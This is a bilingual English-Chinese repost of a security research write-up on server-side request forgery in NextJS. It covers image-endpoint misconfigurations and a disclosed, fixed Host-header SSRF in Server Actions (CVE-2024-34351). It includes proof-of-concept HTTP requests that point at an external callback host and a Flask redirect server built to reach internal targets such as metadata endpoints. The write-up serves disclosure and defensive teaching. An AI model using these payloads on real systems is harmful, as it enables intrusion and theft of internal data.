Digging for SSRF in NextJS apps

If you want to design a mostly static, modern landing page for your brand new business, what do you do? Ten years ago, it felt like every company was using a heavyweight CMS like WordPress. As a hacker, the attack surface of CMS solutions is well understood. It feels like every day that some critical vulnerability is found in a CMS or CMS plugin.
如果你想为你的全新业务设计一个大部分静态的、现代的登陆页面,你会怎么做?十年前,感觉每家公司都在使用像Wordpress这样的重量级CMS。作为黑客,CMS解决方案的攻击面是众所周知的。感觉就像每天都在CMS或CMS插件中发现一些严重漏洞。

However, in the modern era, companies are increasingly moving to more lightweight solutions. The past few years has seen an explosion of popularity in ‘static’ site generators, such as Nuxt, Hugo, and Gatsby. Perhaps the most popular of all is NextJS, which despite often being used for serving simple static content, has a plethora of server side features enabled by default. At Assetnote, we encounter sites running NextJS extremely often; in this blog post we will detail some common misconfigurations we find in NextJS websites, along with a vulnerability we found in the framework.
然而,在现代,公司越来越多地转向更轻量级的解决方案。在过去的几年里,“静态”网站生成器(如 Nuxt、Hugo 和 Gatsby)的受欢迎程度呈爆炸式增长。也许最受欢迎的是NextJS,尽管它经常用于提供简单的静态内容,但默认情况下启用了大量的服务器端功能。在 Assetnote,我们经常遇到运行 NextJS 的网站;在这篇博文中,我们将详细介绍我们在 NextJS 网站中发现的一些常见错误配置,以及我们在框架中发现的漏洞。

The _next/image Component
_next/image 组件

NextJS has an image optimization component built in and enabled by default. The idea is straightforward; if you have a large image duck.jpg which you want to serve in a smaller size, or serve in a dynamic size, it would be wasteful to send the (possibly multi megabyte) image to the client and resize it using HTML; instead, you can write something in your React like:
NextJS 内置了图像优化组件,默认情况下处于启用状态。这个想法很简单;如果您有一个大图像duck.jpg,您希望以较小的尺寸提供服务,或者以动态大小提供服务,则将(可能是数兆字节)图像发送到客户端并使用 HTML 调整其大小将是浪费;相反,你可以在 React 中写一些东西,比如:

<Image
  src="/duck.jpg"
  width={256}
  quality={75}
  alt="Picture of a duck"
/>

And it will be served to the client at the correct size. In addition, it can be cached, meaning the server does not have to resize the image on every request.
它将以正确的大小提供给客户。此外,它可以被缓存,这意味着服务器不必在每个请求时调整图像大小。

How does this work behind the scenes? In reality, NextJS exposes an api endpoint _next/image, which can then be used like follows:
这在幕后是如何运作的?实际上,NextJS 公开了一个 API 端点 _next/image,然后可以按如下方式使用:

https://example.com/_next/image?url=/duck.jpg&w=256&q=75

The Image component simply crafts a request like this and places it inside an ordinary img tag. When you visit this URL for the first time, NextJS makes a request to //localhost/duck.jpg, and, assuming an image exists at that url, resizes it using a server side image manipulation library before returning it to the user.
Image 组件只是制作一个这样的请求,并将其放在一个普通的 img 标签中。当您第一次访问此 URL 时,NextJS 会向 //localhost/duck.jpg 发出请求,并假设该 URL 中存在图像,则在将其返回给用户之前,使用服务器端图像处理库调整其大小。

Of course, it’s common to want to serve images from other domains. NextJS provides the remotePatterns functionality in the next.config.js file to do just that; by specifying a config item like:
当然,想要提供来自其他域的图像是很常见的。NextJS 在 next.config.js 文件中提供了 remotePatterns 功能来做到这一点;通过指定一个配置项,如下所示:

    images: {
        remotePatterns: [
            {
                protocol: 'https',
                hostname: 'cdn.example.com',
            },
            {
                protocol: 'https',
                hostname: 'third-party.com',
            },
        ],
    },

You can now load images from cdn.example.com and third-party.com:
您现在可以从 cdn.example.com 加载图像,并 third-party.com:

https://example.com/_next/image?url=https://cdn.example.com/i/rabbit.png&w=256&q=75

If you were a developer and you wanted to load an image from any site, you may simply whitelist every URL:
如果您是开发人员,并且想从任何站点加载图像,则只需将每个 URL 列入白名单即可:

  images: {
    remotePatterns: [
		{
			protocol: "https",
			hostname: "**",
		},
		{
			protocol: "http",
			hostname: "**",
		},
    ],
  },

This may seem ludicrous, but it’s not that uncommon, especially since it’s not clear that this is dangerous. However, this opens you up to a blind SSRF attack – you can simply load any local URL like:
这可能看起来很荒谬,但并不少见,特别是因为不清楚这是否危险。但是,这会给您带来盲目的 SSRF 攻击 – 您可以简单地加载任何本地 URL,例如:

https://example.com/_next/image?url=https://localhost:2345/api/v1/x&w=256&q=75

If the upstream response is a valid image, it will be passed to the user. There are a couple of rare conditions that this can be escalated further:
如果上游响应是有效映像,则会将其传递给用户。在极少数情况下,这种情况可能会进一步升级:

– If the version of NextJS is old, or dangerouslyAllowSVG is set to true, you can link to an SVG url hosted on your domain, leading to XSS.
– 如果 NextJS 的版本较旧,或者 dangerouslyAllowSVG 设置为 true,则可以链接到域中托管的 SVG URL,从而生成 XSS。

– If the version of NextJS is old, or dangerouslyAllowSVG is set to true, you can leak the full content of XML responses via SSRF. This is because NextJS uses sniffing to determine the content type of the response even if a Content-Type header is provided, and to check for SVG NextJS simply checks the response starts with <?xml.
– 如果 NextJS 版本较旧,或者 dangerouslyAllowSVG 设置为 true,则可以通过 SSRF 泄露 XML 响应的全部内容。这是因为 NextJS 使用嗅探来确定响应的内容类型,即使提供了 Content-Type 标头,并且要检查 SVG,NextJS 只需检查响应是否以 <?xml 开头。

– If any internal host does not respond with a Content-Type, the full response will also be leaked. This is unlikely but sometimes happens with misconfigured proxies or the like.
– 如果任何内部主机未使用 Content-Type 进行响应,则完整的响应也将被泄露。这不太可能,但有时会发生在配置错误的代理等情况下。

A more common scenario is that some specific domains are whitelisted. However, the image renderer follows redirects. Thus if you were to find any open redirect on a whitelisted domain, you can turn this into a blind SSRF. For example, suppose third-party.com was whitelisted and you found an open redirect at third-party.com/logout?url=foo. You could then hit an internal server with SSRF with a request like:
更常见的情况是某些特定域被列入白名单。但是,图像呈现器会遵循重定向。因此,如果您要在列入白名单的域上找到任何开放的重定向,您可以将其变成盲目的 SSRF。例如,假设 third-party.com 被列入白名单,并且您在 third-party.com/logout?url=foo 处发现了一个打开的重定向。然后,您可以使用 SSRF 访问内部服务器,并发出如下请求:

https://example.com/_next/image?url=https://third-party.com/logout%3furl%3Dhttps%3A%2F%2Flocalhost%3A2345%2Fapi%2Fv1%2Fx&w=256&q=75

Digging Deeper – SSRF in Server Actions
深入挖掘 – 服务器操作中的 SSRF

While many people think of NextJS as a ‘client side’ library, NextJS provides a fully featured server side framework with Server Actions. This allows writing JS code that will be executed asynchronously on the server when called. This allows developers to create APIs directly within NextJS without having to have a separate backend, and because it’s part of the same codebase you get all the type safety associated with using TypeScript. However, this server side functionality provides a large attack surface for bugs.
虽然许多人认为 NextJS 是一个“客户端”库,但 NextJS 提供了一个功能齐全的服务器端框架和服务器操作。这允许编写 JS 代码,这些代码将在调用时在服务器上异步执行。这允许开发人员直接在 NextJS 中创建 API,而不必拥有单独的后端,并且由于它是同一代码库的一部分,因此您可以获得与使用 TypeScript 相关的所有类型安全性。但是,此服务器端功能为 bug 提供了较大的攻击面。

While auditing the NextJS source, we came across something interesting. If you call a server action and it responds with a redirect, it calls the following function:
在审核 NextJS 源代码时,我们遇到了一些有趣的事情。如果调用服务器操作并且它以重定向进行响应,则它将调用以下函数:

async function createRedirectRenderResult(
  req: IncomingMessage,
  res: ServerResponse,
  redirectUrl: string,
  basePath: string,
  staticGenerationStore: StaticGenerationStore
) {
  res.setHeader('x-action-redirect', redirectUrl)
  // if we're redirecting to a relative path, we'll try to stream the response
  if (redirectUrl.startsWith('/')) {
    const forwardedHeaders = getForwardedHeaders(req, res)
    forwardedHeaders.set(RSC_HEADER, '1')

    const host = req.headers['host']
    const proto =
      staticGenerationStore.incrementalCache?.requestProtocol || 'https'
    const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
    // .. snip ..
    try {
      const headResponse = await fetch(fetchUrl, {
        method: 'HEAD',
        headers: forwardedHeaders,
        next: {
          // @ts-ignore
          internal: 1,
        },
      })

      if (
        headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER
      ) {
        const response = await fetch(fetchUrl, {
          method: 'GET',
          headers: forwardedHeaders,
          next: {
            // @ts-ignore
            internal: 1,
          },
        })
        // .. snip ..
        return new FlightRenderResult(response.body!)
      }
    } catch (err) {
      // .. snip ..
    }
  }

  return RenderResult.fromStatic('{}')
}

What is interesting is that instead of returning the redirect directly to the client, if the redirect starts with / (for example, a redirect to /login) the server will fetch the result of the redirect _server side_, then return it back to the client. However, looking closely, we see that the Host header is taken from the client:
有趣的是,如果重定向以 / 开头(例如,重定向到 /login),服务器将获取重定向_server side_的结果,然后将其返回给客户端,而不是直接将重定向返回给客户端。但是,仔细观察,我们发现 Host 标头取自客户端:

const host = req.headers['host']
const proto =
  staticGenerationStore.incrementalCache?.requestProtocol || 'https'
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)

This means that if we forge a host header pointing to an internal host, NextJS will try and fetch the reponse from that host instead of the app itself, leading to an SSRF.
这意味着,如果我们伪造指向内部主机的主机标头,NextJS 将尝试从该主机而不是应用程序本身获取响应,从而导致 SSRF。

To recap, to be vulnerable to this SSRF, we require that:
总而言之,为了容易受到此 SSRF 的攻击,我们要求:

– A server action is defined;
– 定义了服务器操作;

– The server action redirects to a URL starting with /;
– 服务器操作重定向到以 / 开头的 URL;

– We are able to specify a custom Host header while accessing the application.
– 我们可以在访问应用程序时指定自定义主机标头。

Let’s run through a simple example locally. Suppose we have an app with a simple search function that only works if the user is logged in:
让我们在本地运行一个简单的示例。假设我们有一个具有简单搜索功能的应用程序,该应用程序仅在用户登录时才有效:

"use server";

import { redirect } from "next/navigation";

export const handleSearch = async (data: FormData) => {
  if (!userIsLoggedIn()) {
    redirect("/login");
    return;
  }
  // .. do other stuff ..
};

function userIsLoggedIn() {
  return false;
}

If we send a request to this search endpoint via the UI, we can intercept the request and see its structure:
如果我们通过 UI 向此搜索端点发送请求,我们可以拦截该请求并查看其结构:

POST /en/search/hello HTTP/1.1
Host: localhost:3000
Content-Length: 375
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22en%22%2C%7B%22children%22%3A%5B%22search%22%2C%7B%22children%22%3A%5B%5B%22search%22%2C%22hello%22%2C%22d%22%5D%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D%7D%5D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryU0TPI3bwEtnXc1vB
Accept: text/x-component
Next-Action: 15531bfa07ff11369239544516d26edbc537ff9c
Origin: http://localhost:3000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

< ... snip ... >

The important thing here is the Next-Action ID. This is used by NextJS to uniquely identify the action we want to take. In fact, the URL and path does not matter at all – as long as we pass the Next-Action header, we’ll trigger the action.
这里重要的是下一步操作 ID。NextJS 使用它来唯一标识我们想要执行的操作。事实上,URL 和路径根本不重要 – 只要我们传递 Next-Action 标头,我们就会触发操作。

To trigger the bug, let’s use this Next-Action ID to create a minimal PoC:
为了触发该错误,让我们使用此 Next-Action ID 创建一个最小的 PoC:

POST /x HTTP/1.1
Host: kwk4ufof0q3hdki5e46mpchscjia69uy.oastify.com
Content-Length: 4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Next-Action: 15531bfa07ff11369239544516d26edbc537ff9c
Connection: close

{}

Note that here, we have changed our host to our Burp Collaborator instance. And indeed, we can see we get a ping back – here’s the request that NextJS sends to us:
请注意,在这里,我们已将主机更改为打嗝协作者实例。事实上,我们可以看到我们得到了一个 ping 回复 – 这是 NextJS 发送给我们的请求:

HEAD /login HTTP/1.1
host: kwk4ufof0q3hdki5e46mpchscjia69uy.oastify.com
connection: close
cache-control: no-cache, no-store, max-age=0, must-revalidate
cookie: ; undefined
next-action: 15531bfa07ff11369239544516d26edbc537ff9c
rsc: 1
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url
x-action-redirect: /login
x-action-revalidated: [[],0,0]
x-forwarded-for: ::ffff:127.0.0.1
x-forwarded-host: kwk4ufof0q3hdki5e46mpchscjia69uy.oastify.com
x-forwarded-port: 3000
x-forwarded-proto: http
accept: */*
accept-language: *
sec-fetch-mode: cors
accept-encoding: gzip, deflate

We have a working blind SSRF! However, we can do better. Let’s revisit the logic of exactly what requests NextJS makes:
我们有一个工作的盲人 SSRF!但是,我们可以做得更好。让我们重新审视一下 NextJS 发出的请求的逻辑:

try {
      const headResponse = await fetch(fetchUrl, {
        method: 'HEAD',
        headers: forwardedHeaders,
        next: {
          // @ts-ignore
          internal: 1,
        },
      })

      if (
        headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER
      ) {
        const response = await fetch(fetchUrl, {
          method: 'GET',
          headers: forwardedHeaders,
          next: {
            // @ts-ignore
            internal: 1,
          },
        })
        // .. snip ..
        return new FlightRenderResult(response.body!)
      }
    } catch (err) {
      // .. snip ..
    }

The logic is as follows:
逻辑如下:

– The server first does a preflight HEAD request to the URL.
– 服务器首先对 URL 执行预检 HEAD 请求。

– If the preflight returns a Content-Type header of RSC_CONTENT_TYPE_HEADER, which is text/x-component, then NextJS makes a GET request to the same URL.
– 如果预检返回 RSC_CONTENT_TYPE_HEADER 的 Content-Type 标头,即 text/x-compent,则 NextJS 会向同一 URL 发出 GET 请求。

– The content of that GET request is then returned in the response.
– 然后,在响应中返回该 GET 请求的内容。

Of course, it’s unlikely that any of our SSRF targets (like cloud metadata endpoints) would return that content type, so what can be done? We can satisfy these checks and turn our SSRF into a full read as follows:
当然,我们的任何 SSRF 目标(如云元数据终结点)都不太可能返回该内容类型,那么可以做些什么呢?我们可以满足这些检查,并将我们的 SSRF 转换为完整读取,如下所示:

– Set up a server that takes requests on any path.
– 设置一个接受任何路径请求的服务器。

– On any HEAD request, return a 200 with Content-Type: text/x-component.
– 在任何 HEAD 请求中,返回 Content-Type: text/x-component 的 200。

– On a GET request, return a 302 to our intended SSRF target (such as metadata.internal or the like)
– 在 GET 请求中,将 302 返回到我们预期的 SSRF 目标(例如 metadata.internal 等)

– When NextJS fetches from our server, it will satisfy the preflight check on our HEAD request, but will follow the redirect on GET, giving us a full read SSRF!
– 当 NextJS 从我们的服务器获取时,它将满足对我们的 HEAD 请求的印前检查,但会遵循 GET 上的重定向,从而为我们提供完整的读取 SSRF!

Here’s a simple Flask example:
下面是一个简单的 Flask 示例:

from flask import Flask, Response, request, redirect
app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
    if request.method == 'HEAD':
        resp = Response("")
        resp.headers['Content-Type'] = 'text/x-component'
        return resp
    return redirect('https://example.com')

Changing our Host header to point to our malicious Flask server then gives us the full content of example.com, as expected:
更改我们的 Host 标头以指向我们的恶意 Flask 服务器,然后为我们提供 example.com 的完整内容,正如预期的那样:

Digging for SSRF in NextJS apps

We reported this SSRF to NextJS and it was fixed in v14.1.1.
我们向 NextJS 报告了此 SSRF,并在 v14.1.1 中修复了它。

This vulnerability was assigned CVE-2024-34351 and you can find the advisory here: https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g
此漏洞的CVE编号为CVE-2024-34351,您可以在此处找到公告: https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g

Conclusion 结论

As the world increasingly adopts static single-page apps and frameworks, it may be tempting to overlook testing them. The term ‘static’ might imply a lack of functionality and minimal risk. Yet, these frameworks often rely on numerous underlying APIs and logic, presenting a considerable attack surface.
随着世界越来越多地采用静态单页应用程序和框架,人们可能很容易忽视对它们的测试。术语“静态”可能意味着缺乏功能和最小的风险。然而,这些框架通常依赖于众多底层 API 和逻辑,从而呈现出相当大的攻击面。

Ultimately, vulnerabilities such as the one above highlight that modern frameworks are not a complete solution to the security challenges faced by earlier CMS technologies.
归根结底,上述漏洞凸显了现代框架并不是应对早期CMS技术所面临的安全挑战的完整解决方案。

原文始发于assetnote:Digging for SSRF in NextJS apps

版权声明:admin 发表于 2024年5月13日 上午8:55。
转载请注明:Digging for SSRF in NextJS apps | CTF导航

相关文章